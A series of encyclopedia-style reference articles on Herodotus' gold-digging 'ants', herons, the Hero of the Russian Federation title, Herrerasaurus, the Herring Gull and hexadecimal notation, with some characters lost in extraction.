          One of the most recent developments in Herodotus scholarship was made by the French ethnologist Michel Peissel. On his journeys to India and Pakistan, Peissel claims to have discovered an animal species that may finally illuminate one of the most "bizarre" passages in Herodotus's Histories. In Book 3, passages 102 to 105, Herodotus reports that a species of fox-sized, furry "ants" lives in one of the far eastern, Indian provinces of the Persian Empire. This region, he reports, is a sandy desert, and the sand there contains a wealth of fine gold dust. These giant ants, according to Herodotus, would often unearth the gold dust when digging their mounds and tunnels, and the people living in this province would then collect the precious dust. Now, Peissel says that in an isolated region of the Deosai Plateau between India and Pakistan there exists a species of marmot (a type of burrowing squirrel) that may solve the mystery of Herodotus' giant "ants". Much like the province that Herodotus describes, the ground of the Deosai Plateau is rich in gold dust. According to Peissel, he interviewed the Minaro tribal people who live in the Deosai Plateau, and they have confirmed that they have, for generations, been collecting the gold dust that the marmots bring to the surface when they are digging their underground burrows.


          
            [image: Bobak marmot in central Asia]

            
              Bobak marmot in central Asia
            

          


          Even more tantalizing, in his book, "The Ants' Gold: The Discovery of the Greek El Dorado in the Himalayas", Peissel offers the theory that Herodotus may have become confused because the old Persian word for "marmot" was quite similar to that for "mountain ant". Because research suggests that Herodotus probably did not know any Persian (or any other language except his native Greek), he was forced to rely on a multitude of local translators when travelling in the vast polylingual Persian Empire. Therefore, he may have been the unwitting victim of a simple misunderstanding in translation. (It is also important to realize that Herodotus never claims to have himself seen these "ants/marmot" creatures - he may have been dutifully reporting what other travellers were telling him, no matter how bizarre or unlikely he personally may have found it to be. In an age when most of the world was still mysterious and unknown and before the modern science of biology, the existence of a "giant ant" may not have seemed so far-fetched.) The suggestion that he completely made up the tale may continue to be thrown into doubt as more research is conducted.


          However, it must be noted that this theory of the marmots fails to take into consideration Herodotus' own follow-up in passage 105 of Book 3, wherein the "ants/marmots" are said to chase and devour full-grown camels; nevertheless, this could also be explained as an example of a tall tale or legend told by the local tribes to frighten foreigners from seeking this relatively easy access to gold dust. On the other hand, all these details of the "ants" are eerily similar to the description of the camel spider ( Solifugae), which strictly speaking is not a spider, and is even sometimes called a "wind scorpion". Camel spiders are said to chase camels (they can run up to 10mph), they have lots of hair bristles, and they could quite easily be mistaken for ants given their rather bizarre appearance. And as has been noted by some, on account of the fear factor of encountering one there have been "many myths and exaggerations about their size" . Images of camel spiders could give the impression that this could be mistaken for a giant ant, but certainly not the size of a fox.


          


          Translations


          
            	Several English translations of The Histories of Herodotus are readily available in multiple editions. The most readily available are those translated by:

              
                	C.E. Godley, 1920; revised 1926. Reprinted 1931, 1946, 1960, 1966, 1975, 1981, 1990, 1996, 1999, 2004. Available in four volumes from Loeb Classical Library, Harvard University Press. ISBN 0-674-99130-3 Printed with Greek on the left and English on the right.


                	Aubrey de Slincourt, originally 1954; revised by John Marincola in 1972. Several editions from Penguin Books available.


                	David Grene, Chicago: University of Chicago Press, 1985.


                	George Rawlinson, translation 18581860. Public domain; many editions available, although Everyman Library and Wordsworth Classics editions are the most common ones still in print.


                	Robin Waterfield, with an Introduction and Notes by Carolyn Dewald, Oxford World Classics, 1998.


                	Strassler, Robert B., (ed.), and Purvis, Andrea L. (trans.), The Landmark Herodotus, Pantheon, 2007. ISBN 978-0-37542109-9 with adequate ancillary information.
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                  Snowy Egret, Egretta thula. Note the chicks in the nest.
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Aves

                  


                  
                    	Subclass:

                    	Neornithes

                  


                  
                    	Infraclass:

                    	Neognathae

                  


                  
                    	Superorder:

                    	Neoaves

                  


                  
                    	Order:

                    	Ciconiiformes

                  


                  
                    	Family:

                    	Ardeidae

                    Leach, 1820
                  

                

              
            


            
              	Genera
            


            
              	
                About 17, see text

              
            


            
              	Synonyms
            


            
              	
                Cochlearidae

              
            

          


          The herons are wading birds in the Ardeidae family. Some are called egrets or bitterns instead of herons. Within the family, all members of the genera Botaurus and Ixobrychus are referred to as bitterns, and - including the Zigzag Heron or Zigzag Bittern - are a monophyletic group within the Ardeidae. However, egrets are not a biologically distinct group from the herons, and tend to be named differently because they are mainly white and/or have decorative plumes, and while having the same build as the larger herons tend to be smaller.


          The classification of the individual heron/egret species is fraught with difficulty, and there is still no clear consensus about the correct placement of many species into either of the two major genera, Ardea and Egretta. Similarly, the relationship of the genera in the family is not completely resolved. However, one species formerly considered to constitute a separate monotypic family Cochlearidae, the Boat-billed Heron, is now regarded as a member of the Ardeidae.


          Although herons resemble birds in some other families, such as the storks, ibises and spoonbills, they differ from these in flying with their necks retracted, not outstretched. They are also one of the bird groups that have powder down.


          The members of this family are mostly associated with wetlands, and prey on fish, frogs and other aquatic species. Some, like the Cattle Egret and Black-headed Heron, also take large insects, and are less tied to watery environments. Some members of this group nest colonially in trees, others, notably the bitterns, use reedbeds.


          In February 2005, the Canadian scientist Dr. Louis Lefebvre announced a method of measuring avian IQ in terms of their innovation in feeding habits. Herons were named among the most intelligent birds based on this scale, reflecting a wide variety, flexibility and adaptiveness to acquire food{{ ref}}.


          


          Taxonomy and systematics


          Analyses of the skeleton, mainly the skull, suggested that the Ardeidae could be split into a diurnal and a crepuscular/ nocturnal group which included the bitterns. From DNA studies and skeletal analyses focusing more on bones of body and limbs, this grouping has been revealed as incorrect. Rather, the similarities in skull morphology reflect convergent evolution to cope with the different challenges of daytime and nighttime feeding. Today, it is believed that three major groups can be distinguished, which are (from the most primitive to the most advanced):


          
            	tiger herons and the boatbill


            	bitterns


            	day-herons and egrets, and night-herons

          


          The night herons could warrant separation as subfamily Nycticoracinae, as it was traditionally done. However, the position of some genera (e.g. Butorides or Syrigma) is unclear at the moment, and molecular studies have until now suffered from a small number of studied taxa. Especially the relationship among the ardeine subfamily is very badly resolved. The arrangement presented here should be considered provisional.
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              Bare-throated Tiger Heron, Tigrisoma mexicanum
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              Great Bittern, Botaurus stellaris
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              Great Blue Heron, Ardea herodias
            

          


          Subfamily Tigrisomatinae


          
            	Genus Cochlearius - Boat-billed Heron


            	Genus Tigrisoma - typical tiger-herons (3 species)


            	Genus Tigriornis - White-crested Tiger-heron


            	Genus Zonerodius - New Guinea Tiger-heron

          


          Subfamily Botaurinae


          
            	Genus Zebrilus - Zigzag Heron


            	Genus Ixobrychus - small bitterns (8 living species, 1 recently extinct)


            	Genus Botaurus - large bitterns (4 species)

          


          Subfamily Ardeinae


          
            	Genus Zeltornis (fossil)


            	Genus Nycticorax typical night-herons (2-4 living species, 5 recently extinct; includes Nyctanassa)


            	Genus Gorsachius - Asian night-herons (3-5 species)


            	Genus Butorides - green-backed herons (3 species; sometimes included in Ardea)


            	Genus Agamia - Agami Heron


            	Genus Pilherodius - Capped Heron


            	Genus Ardeola pond-herons (6 species)


            	Genus Bubulcus - cattle-egrets (1-2 species, sometimes included in Ardea)


            	Genus Proardea (fossil)


            	Genus Ardea - typical herons (11-17 species)


            	Genus Syrigma - Whistling Heron


            	Genus Egretta - typical egrets (7-13 species)


            	Genus undetermined

              
                	Easter Island Heron, Ardeidae gen. et sp. indet. ( prehistoric)

              

            

          


          Fossil herons of unresolved affiliations:


          
            	Xenerodiops (Early Oligocene of Fayyum, Egypt)


            	"Anas" basaltica (Late Oligocene of "Warnsdorf", Czechia)


            	Ardeagradis


            	Calcardea


            	Proardeola - possibly same as Proardea

          


          Other prehistoric and fossil species are included in the respective genus accounts.
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              Obverse of the "Gold Star" medal
            

          


          Hero of the Russian Federation (Russian: Герой Российской Федерации, Geroy Rossiyskoy Federatsii) is a Russian decoration and the highest honorary title that can be bestowed on a citizen by the Russian Federation. The President of the Russian Federation is the main conferring authority of the medal, which is bestowed on those committing actions or deeds that involve conspicuous bravery while in the service of the state. It has been presented about 750 times since its creation, primarily to cosmonauts or to those involved with military action in the region of Chechnya. Several artists, politicians, economists and athletes have also been awarded the title.


          


          Creation


          The title was created from a decree issued by Russian President Boris Yeltsin on March 20, 1992, replacing the Soviet titles Hero of the Soviet Union and Hero of Socialist Labor. Decree № 2553-I contained the criteria for the title (see below) and the design of a " Gold Star" medal that accompanies the title. Article 71 of the Constitution of Russia permits titles, orders and medals to be presented by the government, and Article 89 gives the Russian president power to create state awards. This is the highest honour that can be presented by the Russian president to anyone. Unlike the Soviet hero titles, there are no other medals or orders that are presented with the Russian hero title.


          


          Criteria


          Decree № 2553-I states that the title can be awarded to a person who performs a heroic deed while in the service of the state and the people. Both civilians and military personnel can receive the award. The title can also be awarded posthumously if the heroic act costs the recipient his or her life. The medal has been awarded posthumously approximately 340 times, primarily to people involved in the first and second wars in Chechnya. The last known awarding was made on December 21, 2006 to Alexander Klimov by President Vladimir Putin.


          


          Design and display


          The design of the Gold Star medal (медаль "Золотая Звезда") was set out in Decree № 2553-I and is similar to that of the medal for the Soviet title Hero of the Soviet Union. The ribbon that is used on a rectangle (boot-tree) suspension device is sized 19.5 mm high by 15 mm wide and is colored white, blue, and red. The design of the ribbon was based on the flag of Russia. The pentagonal star that is suspended from the boot-tree device has a diameter of 15mm and does not have any design on the front. On the reverse, the words "Hero of Russia" (Герой России) appear in a 2x4mm convex font, and a 1mm serial number is placed in the top ray. The serial number shows how many times the award has been presented (i.e. SN 164 indicates that the medal was the 164th one bestowed). On the reverse of the boot-tree device, there is a fastening device that consists of a pin and hook, which is used to affix the medal to clothing. The medal itself is made out of gold and weighs about 21.5 grams.


          When the medal is worn in public, it is worn on the left side of the suit jacket above all other medals and decorations of Russia and the Soviet Union. The medal is always worn in full, so there is no ribbon bar that can be worn in place of it. There have been occasions where those who were awarded this title also wear their Soviet titles, such as Hero of the Soviet Union or Hero of Socialist Labor, together with the Gold Star medal of the Russian title.


          


          Recipients


          The majority of recipients of the title fall into two categories: participants in the Chechnya conflicts or cosmonauts. While each cosmonaut that goes into space automatically receives the title, those who were awarded for service in Chechnya usually receive their titles for either heroism in combat or for leading the pro- Moscow government. On some occasions, the person who was awarded the title was killed while in the course of duty. This includes those killed in battle as well as assassinated government officials. An example of such a recipient was Akhmad Kadyrov, the former governor of Chechnya. The pro-Moscow leader was killed in a bomb attack during the 2004 Victory Day parade in the Chechen capital of Grozny. Several days after Akhmad was killed, President Vladimir Putin awarded him the title. Some time after the incident, Putin awarded Kadyrov's son, Ramzan, the same title for his work in Chechnya.


          All Russian cosmonauts are awarded the title of Hero of the Russian Federation following their voyage into space; some may already have earned it, for example for long service as a test pilot. Cosmonauts are also awarded the title Pilot-Cosmonaut of the Russian Federation. Some recipients of the title, such as Sergey Krikalev, had also received the Soviet hero title, along with the Order of Lenin. Most of the cosmonaut double heroes were awarded the Hero of the Soviet Union and Hero of Russia titles "for successful realization of flight and the courage and heroism shown."


          Outside of those two groups, athletes and other civilian and military officials have also received the title. One such case was submarine captain Gennady Lyachin, the captain of the Kursk, which sank after an explosion in 2000. Due to his heroism during the explosion and his attempts at preserving the lives of the crew, Lyachin was posthumously awarded the title, and the members of his crew were awarded with the Order of Courage. Athlete Larisa Lazutina was presented with the title for various medals won at the 1998 Winter Olympics in Nagano, Japan. However, Lazutina was disqualified from the 2002 Winter Olympics in Salt Lake City, Utah, United States because of a positive result in a drug test. Another athlete, Alexander Karelin, was honored with the title for his Olympic success in wrestling. On January 10, 2008 the title was awarded to three of Arktika 2007 expedition members, who performed the first ever descent to the ocean bottom at the North Pole, Anatoly Sagalevich, Yevgeny Chernyaev and Artur Chilingarov "for courage and heroism showed in extremal conditions and successful completion of High-Latitude Arctic Deep-Water Expedition."
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              Fossil range: Late Triassic
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                  Artist's restoration of Herrerasaurus ischigualastensis
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Sauropsida

                  


                  
                    	Superorder:

                    	Dinosauria

                  


                  
                    	Order:

                    	Saurischia

                  


                  
                    	Suborder:

                    	?Theropoda

                  


                  
                    	Infraorder:

                    	Herrerasauria

                  


                  
                    	Family:

                    	Herrerasauridae

                  


                  
                    	Genus:

                    	Herrerasaurus

                    Reig, 1963
                  

                

              
            


            
              	Species
            


            
              	
                
                  	H. ischigualastensis Reig, 1963 ( type)

                

              
            


            
              	Synonyms
            


            
              	
                
                  	Ischisaurus Reig, 1963


                  	Frenguellisaurus Novas, 1986

                

              
            

          


          Herrerasaurus (meaning "Herrera's lizard," after the name of the rancher who discovered the first fossil of the animal) was one of the earliest dinosaurs. All known specimens of this carnivore have been discovered in northwest Patagonia, Argentina, in late Triassic Period rocks (early Carnian stage, around 228 million years ago). The type species, Herrerasaurus ischigualastensis, was described by Osvaldo Reig in 1963 and is the only species assigned to the genus.


          For many years, the classification of Herrerasaurus was unclear, as the animal was initially known from very fragmentary remains; it has been hypothesized to be a basal theropod, a basal sauropodomorph, a basal saurischian, or not a dinosaur at all. However, with the discovery of a mostly-complete skeleton and skull in 1988, Herrerasaurus has been classified as either an early theropod or an early saurischian in at least five recent surveys of theropod evolution. This medium-sized bipedal reptile is a member of the Herrerasauridae, a group of similar animals which were among the earliest of the dinosaurian radiation.


          


          Description


          Herrerasaurus was a lightly-built bipedal carnivore with a long tail and a relatively small head. Its length is estimated at 3 to 6 meters (10 to 20 ft), and its hip height at more than 1.1meters (3.3ft). It may have weighed around 210350kilograms (463772 lb). In a large specimen at first thought to belong to a separate genus, Frenguellisaurus, the skull measured 56 centimeters (1.8ft) in length.


          


          Skull


          
            Image:Herreramodel.jpg

            
              A fossil reconstruction (left) and model (right) of Herrerasaurus stand side by side at Chicago's Field Museum of Natural History.
            

          


          Herrerasaurus had a long, narrow skull that lacked nearly all the specializations that characterized later dinosaurs, being not that different from those of more primitive archosaurs such as Euparkeria. It had five pairs of fenestrae (skull openings) in its skull, two of which were for ocular and nasal openings. Between the eyes and the nostrils were two antorbital fenestrae and a pair of tiny, 1-centimeter-long (0.4in) slit-like holes called promaxillary fenestrae. Behind the eyes were large infratemporal fenestrae. These holes helped reduce the weight of the skull.


          Herrerasaurus had a flexible joint in the lower jaw; this allowed the animal to slide its lower jaw back and forth and deliver a grasping bite. This cranial specialization is unusual among the dinosaurs but has evolved independently in some lizards. The rear of the lower jaw also had fenestrae. The jaws were equipped with large serrated teeth for biting and eating flesh, and the neck was slender and flexible.


          


          Limbs


          Herrerasaurus had relatively short forelimbs, which were less than half the length of its hind limbs. The upper arm and forearm were rather short, while the manus was elongated. The first two fingers and the thumb bore curved, sharp claws for grasping prey. Its fourth and fifth digits were small stubs without claws. This genus was probably one of the first dinosaurs to adopt the distinctive bipedal theropod-like shape. It had strong hind limbs with short thighs and rather long feet, indicating this animal was most likely a swift runner. The balancing tail, partially stiffened by overlapping vertebral processes, also indicates an adaptation for speed.


          


          Derived and basal characteristics


          This dinosaur is an enigmatic creature, showing traits that are found in different groups of dinosaurs. Although it shared most of the characteristics of dinosaurs, there were a few differences, particularly in regard to the shape of its hip and leg bones. Its pelvis was similar to that of saurischian dinosaurs, but it had a bony acetabulum (where the femur meets the pelvis) that was only partially open. The ilium, the main hip bone, was supported only by two sacrals, a basal trait, but the pubis pointed backwards, a derived trait that parallels what is seen in dromaeosaurids and birds. Additionally, the end of the pubis had a booted shape, similar to what is present in avetheropods, and the vertebral centra had an Allosaurus-like hourglass shape.


          


          Classification


          
            [image: Herrerasaurus.]

            
              Herrerasaurus.
            

          


          Herrerasaurus gives its name to its family, Herrerasauridae, of the mid- to late Triassic, though where it and its close relatives lie on the early dinosaur evolutionary tree is unclear. They are possibly basal theropods or basal saurischians but may in fact predate the saurischian-ornithischian split. Other members of the clade may include Eoraptor from the same Ischigualasto Formation of Argentina as Herrerasaurus, Staurikosaurus from the Santa Maria Formation of southern Brazil, Chindesaurus from the Upper Petrified Forest ( Chinle Formation) of Arizona, and possibly Caseosaurus from the Dockum Formation of Texas, although the relationships of these animals are not fully understood, and not all paleontologists agree. Other possible basal theropods, Alwalkeria from the Late Triassic Maleri Formation of India, and Teyuwasu, known from very fragmentary remains from the Late Triassic of Brazil, might be related. Novas (1992) defined the group as Herrerasaurus, Staurikosaurus, and their most common ancestor. Sereno (1998) defined the group as the most inclusive clade including H. ischigualastensis but not Passer domesticus. Langer (2004) created a higher level taxon, infraorder Herrerasauria. 


          History


          
            [image: Herrerasaurus skeleton, North American Museum of Ancient Life.]

            
              Herrerasaurus skeleton, North American Museum of Ancient Life.
            

          


          Herrerasaurus was named by paleontologist Osvaldo Reig after Victorino Herrera, an Andean goatherd who first noticed its fossils in outcrops near the city of San Juan in 1959. These rocks, which later yielded Eoraptor, are part of the Ischigualasto Formation and date from the late Ladinian - early Carnian stages of the Late Triassic period. Reig named a second dinosaur from these rocks in the same publication as Herrerasaurus; this dinosaur, Ischisaurus cattoi, is now considered a junior synonym and a juvenile of Herrerasaurus. Two other partial skeletons, with skull material, were named Frenguellisaurus ischigualastensis by Fernando Novas in 1986, but this species too is now thought to be a synonym.


          Reig believed Herrerasaurus was an early example of a carnosaur, but this was the subject of much debate over the next 30 years, and the genus was variously classified during that time. In 1970, Steel classified Herrerasaurus as a prosauropod. In 1972, Peter M. Galton classified the genus as not diagnosable beyond Saurischia. Later, using cladistic analysis, some researchers put Herrerasaurus and Staurikosaurus at the base of the dinosaur tree before the separation between ornithischians and saurischians. Several researchers classified the remains as non-dinosaurian.
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              Skull cast of Herrerasaurus ischigualastensis, Valle de la Luna.
            

          


          A complete Herrerasaurus skull was not found until 1988, by a team of paleontologists led by Paul Sereno. Based on the new fossils, authors such as Thomas Holtz and Jose Bonaparte classified Herrerasaurus at the base of the saurischian tree before the divergence between prosauropods and theropods. However, Sereno favored classifying Herrerasaurus (and the Herrerasauridae) as primitive theropods. These two classifications have become the most persistent, with Rauhut (2003) and Bittencourt and Kellner (2004) favoring the early theropod hypothesis, and Max Langer (2004), Langer and Benton (2006), and Randall Irmis and his coauthors (2007) favoring the basal saurischian hypothesis. If Herrerasaurus was indeed a theropod, it would indicate that theropods, sauropodomorphs, and ornithischians diverged even earlier than herrerasaurids, before the middle Carnian (age of the Ischigualasto Formation), and that "all three lineages independently evolved several dinosaurian features, such as a more advanced ankle joint or an open acetabulum". This view is further supported by ichnological records showing large tridactyl footprints that can be attributed only to a theropod dinosaur, dating from the Ladinian (Middle Triassic) of the Los Rastros Formation in Argentina and predating Herrerasaurus by 3 to 5 million years.


          The importance of Herrerasaurus and Eoraptor lies in the fact that their remains allow for directly testing the idea of dinosaurs being a monophyletic group, i.e. all dinosaurs have a common ancestor. The monophyly of dinosaurs was explicitly proposed in the 1970s by Bakker, and nine cranial and about fifty postcranial synapomorphies (common anatomical traits derived from the common ancestor) have been listed. However, an extensive study of Herrerasaurus by Sereno indicates that only one cranial and seven postcranial synapomorphies in Bakker's original list are actually supported while additional synapomorphies were discovered.


          


          Paleoecology


          Although Herrerasaurus shared the body shape of the large carnivorous dinosaurs, it lived about 230 million years ago, a time when dinosaurs were small and insignificant. It was the time of non-dinosaurian reptiles, not dinosaurs, and a major turning point in the Earth's ecology. The vertebrate fauna of the Ischigualasto Formation and the slightly later Los Colorados Formation consisted mainly of a variety of crurotarsal archosaurs and synapsids. For instance, in the Ischigualasto Formation, dinosaurs constituted only about 6% of the total number of fossils. By the end of the Triassic Period, dinosaurs were becoming the dominant large land animals, and the other archosaurs and synapsids lost diversity.


          Studies suggest that the paleoenvironment of the Ischigualasto Formation was a volcanically active floodplain covered by forests and subject to strong seasonal rainfalls. Vegetation consisted of ferns ( Cladophlebis), sphenopsids ( horsetails), and giant conifers (Protojuniperoxylon). The plants formed an upland riparian forest. Herrerasaurus remains appear to have been the most common among the carnivores of the Ischigualasto Formation. It lived in the jungles of Late Triassic South America alongside another early dinosaur, Eoraptor, as well as Saurosuchus, a giant land-living meat-eating rauisuchian; Venaticosuchus, an ornithosuchid; and the predatory chiniquodontid cynodonts. Herbivores were much more abundant than carnivores and were represented by rhynchosaurs such as Hyperodapedon (formerly Scaphonyx); aetosaurs; kannemeyeriid dicynodonts such as Ischigualastia, and traversodontids such as Exaeretodon. These non-dinosaurian herbivores were much more abundant than early ornithischian dinosaurs like Pisanosaurus and therefore more likely prey for Herrerasaurus than were the early dinosaurs.


          


          Paleobiology
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              Herrerasaurus skull, at the Field Museum in Chicago.
            

          


          The teeth of Herrerasaurus indicate it was a carnivore; its size indicates it would have preyed upon small and medium-sized animals. It may have fed on other dinosaurs, such as the herbivorous Pisanosaurus. However, since Herrerasaurus lived during an era when other dinosaurs were uncommon, more plentiful prey would have included rhynchosaurs and aetosaurs. Herrerasaurus itself may have been preyed upon by giant rauisuchids like Saurosuchus, as puncture wounds were found in one skull.


          Coprolites (fossilized dung) containing small bones but no trace of plant fragments, discovered in the Ischigualasto Formation, have been assigned to Herrerasaurus based on fossil abundance. The mineralogical and chemical analysis of these coprolites indicate that the carnivorous animal had the ability to digest bones.
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                  Least Concern( IUCN 3.1)
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                    	Aves
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                    	Family:
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                    	Genus:

                    	Larus
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              	Binomial name
            


            
              	Larus argentatus

              Pontoppidan, 1763, Denmark
            

          


          The Herring Gull, Larus argentatus, is a large gull (up to 26 inches or 66 cm long) and "is the most abundant and best known of all gulls along the shores of Asia. western Europe, and North America." It breeds across North America, Europe and Asia. Some Herring Gulls, especially those resident in colder areas, migrate further south in winter, but many are permanent residents, e.g. those on the lower Great Lakes, on the east coast of North America or at the North Sea shores. Herring Gulls are also abundant around inland garbage dumps, and some have even adapted to life in inland cities.


          


          Taxonomy


          The taxonomy of the Herring Gull / Lesser Black-backed Gull complex is very complicated, different authorities recognising between two and eight species.


          This group has a ring distribution around the northern hemisphere. Differences between adjacent forms in this ring are fairly small, but by the time the circuit is completed, the end members, Herring Gull and Lesser Black-backed Gull, are clearly different species.


          The Association of European Rarities Committees recognises six species:


          
            	Herring Gull, Larus argentatus


            	American Herring Gull, Larus smithsonianus


            	Caspian Gull, Larus cachinnans


            	Yellow-legged Gull, Larus michahellis


            	East Siberian Gull, Larus vegae


            	Armenian Gull, Larus armenicus

          


          


          Subspecies


          
            	L. a. argentatus, the nominate form, breeds in Scandinavia and north-west Russia. Northern and eastern populations migrate south-west in winter. It is a large, bulky gull with extensive white in the wingtips.


            	L. a. argenteus breeds in Western Europe in Iceland, the Faroes, Britain, Ireland, France, Belgium, the Netherlands and Germany. Many birds are resident while others make short-distance migratory journeys. It is smaller than L. a. argentatus with more black and less white in the wingtips and paler upperparts.

          


          The two following taxa are classified as subspecies of Larus argentatus by some authorities such as the American Ornithologists' Union and Handbook of the Birds of the World. Others such as the Association of European Rarities Committees and British Ornithologists' Union now regard them as one or two separate species.


          
            	L. (a.) smithsonianus, American Herring Gull, breeds in Alaska, Canada and the north-east United States. Many birds migrate southwards in winter, reaching as far as Central America and the West Indies. Immature birds tend to be darker and more uniformly brown than European Herring Gulls and have a dark tail.


            	L. (a.) vegae, Vega Gull, breeds in north-east Siberia. It winters in Japan, Korea, eastern China and Taiwan.

          


          Several other gulls have been included in this species in the past but are now normally considered separate, e.g. Yellow-legged Gull (L. michahellis), Caspian Gull (L. cachinnans), Armenian Gull (L. armenicus) and Heuglin's Gull (L. heuglini).


          


          Description


          The average Herring Gull is 55-66 cm (22-26 inches) long with a wingspan of 138-150 cm. Adults in breeding plumage have a grey back and upperwings and white head and underparts. The wingtips are black with white spots known as "mirrors" . The bill is yellow with a red spot and there is a ring of bare yellow skin around the pale eye. The legs are normally pink at all ages but can be yellowish, particularly in the Baltic population which was formerly regarded as a separate subspecies "L. a. omissus". Non-breeding adults have brown streaks on the head and neck. Male and female plumage is identical at all stages of development, however adult males are often larger.


          Juvenile and first-winter birds are mainly brown with darker streaks and have a dark bill and eyes. Second-winter birds have a whiter head and underparts with less streaking and the back is grey. Third-winter individuals are similar to adults but retain some of the features of immature birds such as brown feathers in the wings and dark markings on the bill.


          


          Similar species


          Adult Herring Gulls are similar to Ring-billed Gulls but are much larger, have pinkish legs, and a much thicker yellow bill with more pronounced gonys. First-winter Herring Gulls are much browner, but second and third-winter birds can be confusing since soft part colors are variable and third-year Herring Gull often show a ring around the bill. Such birds are most easily distinguished by the larger size and larger bill of Herring Gull.


          


          Voice


          The loud laughing call is well-known in the northern hemisphere. The Herring Gull also has a yelping alarm call and a low barking anxiety call.


          


          Behaviour


          Herring Gull flocks have a loose pecking order, based on size, aggressiveness and physical strength. Communication between these birds is complex and highly-developed - employing both calls and body language. Two identical vocalizations can have very different (sometimes opposite) meanings, for example - depending on the positionings of the head, body, wings and tail relative to each other and the ground in the calling gull.


          Unlike many flocking birds, Herring Gulls do not engage in social grooming and keep physical contact between individuals to a minimum. Outside of the male/female and parent/chick relationship, each Herring Gull attempts to maintain a respectful 'safe distance' from others of its kind. Any breach of this results in fighting, though severe injuries are seldom inflicted.


          Herring Gulls are known to be capable of seeing ultraviolet light.


          Parasites of Herring gulls include the fluke Microphallus piriformes.


          


          Diet


          These are omnivores like most Larus gulls, and will scavenge on rubbish tips and elsewhere, as well as seeking suitable small prey in fields or on the coast, or robbing plovers or lapwings of their catches. Despite their name, they have no special preference for herrings.


          


          Reproduction


          Two to four eggs, usually three, are laid on the ground or cliff ledges in colonies, and are defended vigorously by this large gull. The eggs are a dark blotched, olive colour. They are incubated for 28-30 days.


          Juveniles use their beaks to "knock" on the red spot on the beaks of adults to indicate hunger. Parents typically disgorge food for their offspring when they are "knocked". The young birds are able to fly 35-40 days after hatching.
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          In mathematics and computer science, hexadecimal (also base- 16, hexa, or hex) is a numeral system with a radix, or base, of 16. It uses sixteen distinct symbols, most often the symbols 09 to represent values zero to nine, and A, B, C, D, E, F (or a through f) to represent values ten to fifteen.


          Its primary use is as a human friendly representation of binary coded values, so it is often used in digital electronics and computer engineering. Since each hexadecimal digit represents four binary digits ( bits)also called a nibbleit is a compact and easily translated shorthand to express values in base two.


          IBM introduced the current hexadecimal system to the computing world; an earlier version, using the digits 09 and UZ, was introduced in 1956 by the Bendix G-15 computer.


          


          Uses


          
            
              	

              	

              	

              	

              	

              	

              	

              	

              	

              	

              	

              	
            


            
              	

              	0hex

              	=

              	0dec

              	=

              	0oct

              	

              	0

              	0

              	0

              	0

              	
            


            
              	

              	1hex

              	=

              	1dec

              	=

              	1oct

              	

              	0

              	0

              	0

              	1

              	
            


            
              	

              	2hex

              	=

              	2dec

              	=

              	2oct

              	

              	0

              	0

              	1

              	0

              	
            


            
              	

              	3hex
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              	3dec

              	=

              	3oct
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              	0

              	1

              	1
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              	1
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              	=
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              	=
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              	1
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              	Chex

              	=

              	12dec

              	=
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              	1

              	1

              	0

              	0

              	
            


            
              	

              	Dhex

              	=

              	13dec

              	=

              	15oct

              	

              	1

              	1

              	0

              	1

              	
            


            
              	

              	Ehex

              	=

              	14dec

              	=

              	16oct

              	

              	1

              	1

              	1

              	0

              	
            


            
              	

              	Fhex

              	=

              	15dec

              	=

              	17oct

              	

              	1

              	1

              	1

              	1

              	
            


            
              	

              	

              	

              	

              	

              	

              	

              	

              	

              	

              	

              	
            

          


          In digital computing, hexadecimal is primarily used to represent bytes. Attempts to represent the 256 possible byte values by other means have led to problems. Directly representing each possible byte value with a single character representation runs into unprintable control characters in the ASCII character set. Even if a standard set of printable characters were devised for every byte value, neither users nor input hardware are equipped to handle 256 unique characters. Most hex editing software displays each byte as a single character, but unprintable characters are usually substituted with period or blank.


          In URLs, all characters can be coded using hexadecimal. Each 2-digit (1 byte) hexadecimal sequence is preceded by a percent sign. For example, the URL http://en.wikipedia.org/wiki/Main%20Page substitutes a space (which is not allowed in URLs) with the hex code for a space (%20).


          


          Representing hexadecimal


          In situations where there is no context, a hexadecimal number might be ambiguous and confused with numbers expressed in other bases. There are several conventions for unambiguously expressing values. In mathematics, a subscript is often used on each number explicitly giving the base: 15910 is decimal 159; 15916 is hexadecimal 159 which is equal to 34510. Some authors prefer a text subscript, such as 159decimal and 159hex.


          In linear text systems, such as used in most computer programming environments, a variety of methods have arisen:


          
            	In URLs, character codes are written as hexadecimal pairs prefixed with %: http://www.example.com/name%20with%20spaces where %20 is the space (blank) character, code 20 hex, or 32 decimal.


            	In HTML, characters can be expressed as hexadecimal using the notation &#xABCD;. Colour references are expressed in hex prefixed with #: #FFFFFF which gives white.


            	The C programming language (and its descendants) use the prefix 0x: 0x5A3 Character and string constants may express character codes in hexadecimal with the prefix \x followed by two hex digits: '\x1B' (specifies the Esc control character), "\x1B[0m\x1B[25;1H" is a string containing 11 characters (not including an implied trailing NUL). To output a value as hexadecimal with the printf function family, the format conversion code %X or %x is used.


            	In the Unicode standard, a character value is represented with U+ followed by the hex value: U+20AC is the Euro sign ().


            	MIME (e-mail extensions) quoted-printable characters by code inside a text/plain MIME-part body prefix non-printable ASCII characters with an equal to sign =, as in Espa=D1a to send "Espaa" (Spain).


            	In Intel-derived assembly languages, hexadecimal is indicated with a suffixed H or h: FFh or 0A3CH. Some implementations require a leading zero when the first character is not a digit: 0FFh


            	Other assembly languages ( 6502, AT&T, Motorola), Pascal, and some versions of BASIC ( Commodore) and Forth use $ as a prefix: $5A3.


            	Some assembly languages (Microchip) use the notation H'ABCD' (for ABCD16).


            	*nix (UNIX and related) shells use an escape character form \x0FF in expressions and 0xFF for constants.


            	Ada and VHDL enclose hexadecimal numerals in based "numeric quotes": 16#5A3#


            	Verilog represents hexadecimal constants in the form 8'hFF, where 8 is the number of bits in the value and FF is the hexadecimal constant.


            	Modula 2 and some other languages use # as a prefix: #01AF


            	The Smalltalk programming language uses the prefix 16r: 16r6EF7


            	Postscript indicates hex with prefix 16#: 16#ABCD. Binary data (such as image pixels) can be expressed as unprefixed consecutive hexadecimal pairs: AA213FD51B3801043FBC...


            	Common Lisp use the prefixes #x and #16r.


            	QBasic and Visual Basic, prefix hexadecimal numerals with &H: &H5A3


            	BBC BASIC uses & for hex.


            	TI-89 and 92 series uses 0h</code: 0hA3


